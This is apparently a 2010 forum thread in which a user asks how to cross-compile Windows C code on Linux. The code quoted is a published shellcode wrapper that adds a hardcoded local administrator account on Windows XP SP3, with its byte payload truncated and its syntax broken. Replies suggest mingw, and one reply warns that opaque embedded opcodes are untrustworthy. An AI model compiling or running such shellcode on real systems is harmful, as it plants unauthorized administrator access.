View Full Version : Compile windows programs on linux

November 12th, 2010, 02:32 PM
SO i downloaded some c code with opcodes capable of creating a new user account on a xp sp 3 box, i could compile it on a windows box, but how would i compile it for windows on a Linux box? I've compiled stuff on Linux before, i'm just not sure about the Linux to Windows conversion.

I'm running Ubuntu Ultimate Edition 2.8 (Maverick) 2.6.35-22-generic x86_64

/*Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes
Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa)
Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111
Greetz: offsec and inj3ct0r teams
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"

int main(int argc, char **argv)
((void (*)())code)();
printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk");
return 0;

November 12th, 2010, 02:43 PM
sudo aptitude search mingw

November 12th, 2010, 05:04 PM
Whoops, my bad, misunderstood the question

Tony Flury
November 12th, 2010, 08:35 PM
simple windows applications written in C in general might compile on linux, and they might work - but complex applications - especially those containing assembly code probably wont work as Linux is not Windows, as the way Linux does things is very different. Compilation
Most of the windows systems calls simply don't exist on Linux.

On a second point i would not trust any source code with embedded assembly in it like that example - how do you know what it does - by hiding the actual code - the author has also made it impossible for someone else to work out what it does - i can 't think of a number of reasons why someone would do that.

I am sure someone could give you code that will add a new user to your linux box - you do know that there is no such thing as a Adminstrative user on linux - there is a root account - and a group of users that are allowed to execute adminstrative type functions (via the use of sudo).